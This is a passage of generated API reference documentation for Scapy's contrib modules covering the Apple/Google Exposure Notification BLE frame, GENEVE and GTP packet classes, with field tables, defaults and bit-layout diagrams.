	Apple: Privacy-Preserving Contact Tracing [https://www.apple.com/covid19/contacttracing/]


	Google: Exposure Notifications [https://www.google.com/covid19/exposurenotifications/]


	Wikipedia: Exposure Notification [https://en.wikipedia.org/wiki/Exposure_Notification]




Bluetooth protocol specifications:


	v1.1 [https://blog.google/documents/58/Contact_Tracing_-_Bluetooth_Specification_v1.1_RYGZbKW.pdf] (April 2020)


	v1.2 [https://covid19-static.cdn-apple.com/applications/covid19/current/static/contact-tracing/pdf/ExposureNotification-BluetoothSpecificationv1.2.pdf] (April 2020)





	
class scapy.contrib.exposure_notification.Exposure_Notification_Frame(_pkt, /, *, identifier=None, metadata=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/exposure_notification.py#L44-L62]

	Bases: Packet, LowEnergyBeaconHelper

Apple/Google BLE Exposure Notification broadcast frame.


	
aliastypes

	




	
build_eir()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/exposure_notification.py#L55-L62]

	Builds a list of EIR messages to wrap this frame.






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           IDENTIFIER                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            METADATA                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. Exposure_Notification_Frame                 


Exposure_Notification_Frame fields






	identifier

	StrFixedLenField

	None



	metadata

	StrFixedLenField

	None

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.geneve

Geneve: Generic Network Virtualization Encapsulation

https://datatracker.ietf.org/doc/html/rfc8926


	
class scapy.contrib.geneve.GENEVE(_pkt, /, *, version=0, optionlen=None, oam=0, critical=0, reserved=0, proto=0, vni=0, reserved2=0, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/geneve.py#L56-L86]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/geneve.py#L75-L81]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VER| OPTIONLEN |O|C|  RESERVED |             PROTO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              VNI                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESERVED2   |            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. GENEVE                            


GENEVE fields






	version

	BitField  (2 bits)

	0



	optionlen

	BitField  (6 bits)

	None



	oam

	BitField  (1 bit)

	0



	critical

	BitField  (1 bit)

	0



	reserved

	BitField  (6 bits)

	0



	proto

	XShortEnumField

	0



	vni

	X3BytesField

	0



	reserved2

	XByteField

	0



	options

	PacketListField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/geneve.py#L83-L86]

	




	
payload_guess

	Possible sublayers:
IP, IPv6, Ether






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/geneve.py#L69-L73]

	








	
class scapy.contrib.geneve.GeneveOptions(_pkt, /, *, classid=0, type=0, reserved=0, length=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/geneve.py#L38-L53]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/geneve.py#L46-L47]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CLASSID            |      TYPE     |RESER|  LENGTH |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GeneveOptions                        


GeneveOptions fields






	classid

	XShortEnumField

	0



	type

	XByteField

	0



	reserved

	BitField  (3 bits)

	0



	length

	BitField  (5 bits)

	None



	data

	StrLenField

	b''











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/geneve.py#L49-L53]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.gtp

GPRS Tunneling Protocol (GTP)

Spec: 3GPP TS 29.060 and 3GPP TS 29.274
Some IEs: 3GPP TS 24.008


	
class scapy.contrib.gtp.APNStrLenField(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L588-L608]

	Bases: StrLenField


	
i2m(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L604-L608]

	




	
m2i(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L590-L602]

	








	
class scapy.contrib.gtp.GTPCreatePDPContextRequest(_pkt, /, *, IE_list=[<IE_TEIDI  TEIDI=<RandInt> |>, <IE_NSAPI  NSAPI=<RandNum> |>, <IE_GSNAddress  length=4 ipv4_address=<RandIP> |>, <IE_GSNAddress  length=4 ipv4_address=<RandIP> |>, <IE_NotImplementedTLV  ietype=QoS length=15 data=<RandString> |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L958-L964]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. GTPCreatePDPContextRequest                  


GTPCreatePDPContextRequest fields






	IE_list

	PacketListField

	[<IE_TEIDI  TEIDI=<RandInt> |>, <IE_NSAPI  NSAPI=<RandNum> |>, <IE_GSNAddress  length=4 ipv4_address=<RandIP> |>, <IE_GSNAddress  length=4 ipv4_address=<RandIP> |>, <IE_NotImplementedTLV  ietype=QoS length=15 data=<RandString> |>]















	
class scapy.contrib.gtp.GTPCreatePDPContextResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L967-L973]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L972-L973]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. GTPCreatePDPContextResponse                 


GTPCreatePDPContextResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp.GTPDeletePDPContextRequest(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L1017-L1020]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. GTPDeletePDPContextRequest                  


GTPDeletePDPContextRequest fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp.GTPDeletePDPContextResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L1023-L1029]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L1028-L1029]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. GTPDeletePDPContextResponse                 


GTPDeletePDPContextResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp.GTPEchoRequest(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L439-L441]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.gtp.GTPEchoResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L949-L955]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L954-L955]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. GTPEchoResponse                       


GTPEchoResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp.GTPErrorIndication(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L1011-L1014]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. GTPErrorIndication                      


GTPErrorIndication fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp.GTPHeader(_pkt, /, *, version=1, PT=1, reserved=0, E=0, S=0, PN=0, gtp_type=None, length=None, teid=0, seq=0, npdu=0, next_ex=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L234-L288]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L273-L277]

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L279-L288]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSI|P|R|E|S|P|    GTP TYPE   |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TEID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SEQ              |      NPDU     |    NEXT EX    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. GTPHeader                          


GTPHeader fields






	version

	BitField  (3 bits)

	1



	PT

	BitField  (1 bit)

	1



	reserved

	BitField  (1 bit)

	0



	E

	BitField  (1 bit)

	0



	S

	BitField  (1 bit)

	0



	PN

	BitField  (1 bit)

	0



	gtp_type

	ByteEnumField

	None



	length

	ShortField

	None



	teid

	IntField

	0



	seq

	XBitField (Cond) (16 bits)

	0



	npdu

	ByteField (Cond)

	0



	next_ex

	ByteEnumField (Cond)

	0











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L267-L271]

	




	
payload_guess

	Possible sublayers:
GTPCreatePDPContextRequest, GTPCreatePDPContextResponse, GTPDeletePDPContextRequest, GTPDeletePDPContextResponse, GTPEchoRequest, GTPEchoResponse, GTPPDUNotificationRequest, GTPSupportedExtensionHeadersNotification, GTPUpdatePDPContextRequest, GTPUpdatePDPContextResponse, GTP_PDCP_PDU_ExtensionHeader, GTP_UDPPort_ExtensionHeader






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L257-L265]

	








	
class scapy.contrib.gtp.GTPPDUNotificationRequest(_pkt, /, *, IE_list=[<IE_IMSI  |>, <IE_TEICP  TEICI=<RandInt> |>, <IE_EndUserAddress  PDPTypeNumber=0x21 |>, <IE_AccessPointName  |>, <IE_GSNAddress  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L1032-L1040]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. GTPPDUNotificationRequest                  


GTPPDUNotificationRequest fields






	IE_list

	PacketListField

	[<IE_IMSI  |>, <IE_TEICP  TEICI=<RandInt> |>, <IE_EndUserAddress  PDPTypeNumber=0x21 |>, <IE_AccessPointName  |>, <IE_GSNAddress  |>]















	
class scapy.contrib.gtp.GTPPDUSessionContainer(_pkt, /, *, ExtHdrLen=None, type=0, QMP=0, dlDelayInd=0, ulDelayInd=0, SNP=0, N3N9DelayInd=0, spareUl1=0, spareDl1=0, PPP=0, RQI=0, QFI=0, PPI=0, spareDl2=0, dlSendTime=0, dlQFISeqNum=0, dlSendTimeRpt=0, dlRecvTime=0, ulSendTime=0, dlDelayRslt=0, ulDelayRslt=0, UlQFISeqNum=0, N3N9DelayRslt=0, NextExtHdr=0, padding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L332-L436]

	Bases: Packet


	
aliastypes

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'P': ('PPP', '2.4.5'), 'R': ('RQI', '2.4.5'), 'extraPadding': ('padding', '2.4.5'), 'qmp': ('QMP', '2.4.5')}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   EXTHDRLEN   |  TYPE |Q|D|U|S|N|S|SPA|P|R|    QFI    | PPI |S|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                       DLSENDTIME                      |
+-+-+-+-+                                                       +
|                                                               |
+       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                      DLQFISEQNUM                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                     DLSENDTIMERPT                     |
+-+-+-+-+                                                       +
|                                                               |
+       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                       DLRECVTIME                      |
+-+-+-+-+                                                       +
|                                                               |
+       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                       ULSENDTIME                      |
+-+-+-+-+                                                       +
|                                                               |
+       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                      DLDELAYRSLT                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                      ULDELAYRSLT                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                  ULQFISEQNUM                  |N3N9DEL|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                       |NEXTEXT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. GTPPDUSessionContainer                    


GTPPDUSessionContainer fields






	ExtHdrLen

	ByteField

	None



	type

	BitEnumField

	0



	QMP

	BitField  (1 bit)

	0



	dlDelayInd

	BitField (Cond) (1 bit)

	0



	ulDelayInd

	BitField (Cond) (1 bit)

	0



	SNP

	BitField  (1 bit)

	0



	N3N9DelayInd

	BitField (Cond) (1 bit)

	0



	spareUl1

	XBitField (Cond) (1 bit)

	0



	spareDl1

	XBitField (Cond) (2 bits)

	0



	PPP

	BitField (Cond) (1 bit)

	0



	RQI

	BitField (Cond) (1 bit)

	0



	QFI

	BitField  (6 bits)

	0



	PPI

	XBitField (Cond) (3 bits)

	0



	spareDl2

	XBitField (Cond) (5 bits)

	0



	dlSendTime

	XBitField (Cond) (64 bits)

	0



	dlQFISeqNum

	X3BytesField (Cond)

	0



	dlSendTimeRpt

	XBitField (Cond) (64 bits)

	0



	dlRecvTime

	XBitField (Cond) (64 bits)

	0



	ulSendTime

	XBitField (Cond) (64 bits)

	0



	dlDelayRslt

	XBitField (Cond) (32 bits)

	0



	ulDelayRslt

	XBitField (Cond) (32 bits)

	0



	UlQFISeqNum

	XBitField (Cond) (24 bits)

	0



	N3N9DelayRslt

	XBitField (Cond) (32 bits)

	0



	NextExtHdr

	ByteEnumField

	0



	padding

	StrLenField (Cond)

	b''











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L408-L417]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L428-L436]

	




	
post_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L419-L426]

	








	
class scapy.contrib.gtp.GTPSupportedExtensionHeadersNotification(_pkt, /, *, IE_list=[<IE_ExtensionHeaderList  extension_headers=[64, 192] |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L1043-L1046]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. GTPSupportedExtensionHeadersNotification           


GTPSupportedExtensionHeadersNotification fields






	IE_list

	PacketListField

	[<IE_ExtensionHeaderList  extension_headers=[64, 192] |>]















	
class scapy.contrib.gtp.GTPUpdatePDPContextRequest(_pkt, /, *, IE_list=[<IE_Cause  |>, <IE_Recovery  |>, <IE_TEIDI  TEIDI=<RandInt> |>, <IE_TEICP  TEICI=<RandInt> |>, <IE_ChargingId  Charging_id=<RandInt> |>, <IE_ProtocolConfigurationOptions  |>, <IE_GSNAddress  |>, <IE_GSNAddress  |>, <IE_GSNAddress  |>, <IE_GSNAddress  |>, <IE_QoS  |>, <IE_CharginGatewayAddress  |>, <IE_CharginGatewayAddress  |>, <IE_CommonFlags  |>, <IE_APNRestriction  |>, <IE_BearerControlMode  |>, <IE_MSInfoChangeReportingAction  |>, <IE_EvolvedAllocationRetentionPriority  |>, <IE_PrivateExtension  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L976-L999]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. GTPUpdatePDPContextRequest                  


GTPUpdatePDPContextRequest fields






	IE_list

	PacketListField

	[<IE_Cause  |>, <IE_Recovery  |>, <IE_TEIDI  TEIDI=<RandInt> |>, <IE_TEICP  TEICI=<RandInt> |>, <IE_ChargingId  Charging_id=<RandInt> |>, <IE_ProtocolConfigurationOptions  |>, <IE_GSNAddress  |>, <IE_GSNAddress  |>, <IE_GSNAddress  |>, <IE_GSNAddress  |>, <IE_QoS  |>, <IE_CharginGatewayAddress  |>, <IE_CharginGatewayAddress  |>, <IE_CommonFlags  |>, <IE_APNRestriction  |>, <IE_BearerControlMode  |>, <IE_MSInfoChangeReportingAction  |>, <IE_EvolvedAllocationRetentionPriority  |>, <IE_PrivateExtension  |>]















	
class scapy.contrib.gtp.GTPUpdatePDPContextResponse(_pkt, /, *, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L1002-L1008]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L1007-L1008]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. GTPUpdatePDPContextResponse                 


GTPUpdatePDPContextResponse fields






	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp.GTP_ExtensionHeader(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L214-L219]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L215-L219]

	








	
class scapy.contrib.gtp.GTP_PDCP_PDU_ExtensionHeader(_pkt, /, *, length=1, pdcp_pdu=None, next_ex=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L228-L231]

	Bases: GTP_ExtensionHeader


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |            PDCP PDU           |    NEXT EX    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. GTP_PDCP_PDU_ExtensionHeader                 


GTP_PDCP_PDU_ExtensionHeader fields






	length

	ByteField

	1



	pdcp_pdu

	ShortField

	None



	next_ex

	ByteEnumField

	0















	
class scapy.contrib.gtp.GTP_UDPPort_ExtensionHeader(_pkt, /, *, length=1, udp_port=None, next_ex=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L222-L225]

	Bases: GTP_ExtensionHeader


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |            UDP PORT           |    NEXT EX    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. GTP_UDPPort_ExtensionHeader                 


GTP_UDPPort_ExtensionHeader fields






	length

	ByteField

	1



	udp_port

	ShortField

	None



	next_ex

	ByteEnumField

	0















	
class scapy.contrib.gtp.GTP_U_Header(_pkt, /, *, version=1, PT=1, reserved=0, E=0, S=0, PN=0, gtp_type=None, length=None, teid=0, seq=0, npdu=0, next_ex=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L291-L314]

	Bases: GTPHeader


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSI|P|R|E|S|P|    GTP TYPE   |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TEID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SEQ              |      NPDU     |    NEXT EX    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GTP_U_Header                         


GTP_U_Header fields






	version

	BitField  (3 bits)

	1



	PT

	BitField  (1 bit)

	1



	reserved

	BitField  (1 bit)

	0



	E

	BitField  (1 bit)

	0



	S

	BitField  (1 bit)

	0



	PN

	BitField  (1 bit)

	0



	gtp_type

	ByteEnumField

	None



	length

	ShortField

	None



	teid

	IntField

	0



	seq

	XBitField (Cond) (16 bits)

	0



	npdu

	ByteField (Cond)

	0



	next_ex

	ByteEnumField (Cond)

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L298-L314]

	




	
payload_guess

	Possible sublayers:
GTPCreatePDPContextRequest, GTPCreatePDPContextResponse, GTPDeletePDPContextRequest, GTPDeletePDPContextResponse, GTPEchoRequest, GTPEchoResponse, GTPErrorIndication, GTPPDUNotificationRequest, GTPPDUSessionContainer, GTPSupportedExtensionHeadersNotification, GTPUpdatePDPContextRequest, GTPUpdatePDPContextResponse, GTP_PDCP_PDU_ExtensionHeader, GTP_UDPPort_ExtensionHeader










	
class scapy.contrib.gtp.GTPmorethan1500(_pkt, /, *, IE_Cause=1, IE=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L1049-L1053]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    IE CAUSE   |                       IE                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
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|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. GTPmorethan1500                       


GTPmorethan1500 fields






	IE_Cause

	ByteEnumField

	1



	IE

	BitField  (12000 bits)

	1















	
class scapy.contrib.gtp.IE_APNRestriction(_pkt, /, *, ietype=149, length=1, restriction_type_value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L783-L787]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
